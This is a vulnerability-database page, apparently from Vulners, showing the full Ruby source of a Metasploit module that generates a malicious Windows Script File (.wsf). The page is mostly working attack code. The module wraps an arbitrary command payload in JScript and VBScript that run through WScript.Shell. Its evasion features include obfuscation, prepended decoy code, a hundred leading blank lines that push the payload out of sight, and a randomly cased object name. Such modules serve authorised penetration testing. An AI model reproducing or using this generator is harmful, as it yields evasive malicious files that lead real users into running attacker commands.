Lucene search
K

Malicious Windows Script Host Script File (.wsf)

🗓️ 07 Oct 2025 18:54:47Reported by bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 548 Views

Creates a malicious Windows Script Host file (.wsf) with obfuscation options for Windows payloads.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::JSObfu
  include Msf::Exploit::VBSObfuscate

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Malicious Windows Script Host Script File (.wsf)',
        'Description' => %q{
          This module creates a Windows Script Host (WSH) Windows Script File (.wsf).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles'
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => 'win',
        'Payload' => {
          'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Microsoft Windows 98 or newer', {}
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '1998-06-25', # Windows 98 release date
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'The WSF file name.', 'msf.wsf']),
      OptEnum.new('SCRIPT_LANGUAGE', [true, 'The WSH script language to use.', 'all', %w[vbscript jscript all]]),
      OptBool.new('OBFUSCATE', [false, 'Enable VBScript/JScript obfuscation', true])
    ])

    register_advanced_options([
      OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the VBScript/JScript.', true]),
      OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript/JScript.', 100]),
    ])
  end

  # Build a series of benign VBScript noise blocks
  #
  # @param [Integer] block_count Number of blocks to generate
  #
  # @return [String] block_count blocks of inert VBScript
  def generate_vbscript_noise(block_count = 0)
    lines = []

    block_count.times do
      case rand(4)
      when 0 # Dummy variable declarations and assignments
        v1 = rand_text_alpha(6..16)
        v2 = rand_text_alpha(6..16)
        a = rand(0..100)
        b = rand(0..100)
        lines << "Dim #{v1}, #{v2}"
        lines << "#{v1} = #{a}"
        lines << "#{v2} = #{b}"
      when 1 # Dummy Function
        fname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Function #{fname}(#{arg})"
        lines << "    #{fname} = #{arg} * #{mult}"
        lines << 'End Function'
      when 2 # Dummy Sub
        sname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Sub #{sname}(#{arg})"
        lines << "    #{sname} = #{arg} * #{mult}"
        lines << 'End Sub'
      when 3 # Dummy For loop
        idx = rand_text_alpha(6..16)
        max = rand(1..5)
        lines << "Dim #{idx}"
        lines << "For #{idx} = 1 To #{max}"
        lines << "    #{idx} = #{idx} + 0"
        lines << 'Next'
      end
    end

    lines.join("\r\n")
  end

  def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
    js = ''

    # TODO: This could be improved by generating more realistic looking
    # benign code with functions and flow control
    if prepend_benign_code
      rand(5..10).times do
        js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
      end
    end

    js << "\r\n" * prepend_new_lines

    escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

    # If the payload contains " & " we presume it is a command string.
    #
    # TODO: Change this once Metasploit is able to inform a module that
    #       the specified ARCH_CMD payload is a string of commands
    #       (not a single command).
    if escaped_payload.include?(' & ')
      cmd = "cmd.exe /c #{escaped_payload}"
    else
      cmd = escaped_payload
    end

    shell_var = rand_text_alpha(6..16)
    js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
    js_payload << "#{shell_var}.Run(\"#{cmd}\");"

    if obfuscate
      js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
      obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
      # WSH JScript execution context does not support 'window' object
      obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
      js << obfuscated_payload
    else
      js << js_payload
    end

    js
  end

  def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
    vbs = ''
    vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
    vbs << "\r\n" * prepend_new_lines

    escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

    # If the payload contains " & " we presume it is a command string.
    #
    # TODO: Change this once Metasploit is able to inform a module that
    #       the specified ARCH_CMD payload is a string of commands
    #       (not a single command).
    if escaped_payload.include?(' & ')
      cmd = "cmd.exe /c #{escaped_payload}"
    else
      cmd = escaped_payload
    end

    shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
    vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
    if obfuscate
      vbs << vbs_obfuscate(vbs_payload).to_s
    else
      vbs << vbs_payload
    end

    vbs
  end

  def generate_wsf(vbs: nil, js: nil)
    job_id = rand_text_alphanumeric(8..12)
    wsf_content = [
      "<script language=\"JScript\">\r\n#{js}\r\n</script>",
      "<script language=\"VBScript\">\r\n#{vbs}\r\n</script>"
    ].shuffle.join

    "<job id=\"#{job_id}\">#{wsf_content}</job>"
  end

  def exploit
    js = nil
    vbs = nil

    if ['all', 'vbscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
      vbs = generate_vbscript(
        payload.encoded,
        prepend_benign_code: datastore['PrependBenignCode'],
        prepend_new_lines: datastore['PrependNewLines'],
        obfuscate: datastore['OBFUSCATE']
      )
    end

    if ['all', 'jscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
      js = generate_jscript(
        payload.encoded,
        prepend_benign_code: datastore['PrependBenignCode'],
        prepend_new_lines: datastore['PrependNewLines'],
        obfuscate: datastore['OBFUSCATE']
      )
    end

    wsf = generate_wsf(
      js: js,
      vbs: vbs
    )

    file_create(wsf)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 19:02Current
5.8Medium risk
Vulners AI Score5.8
548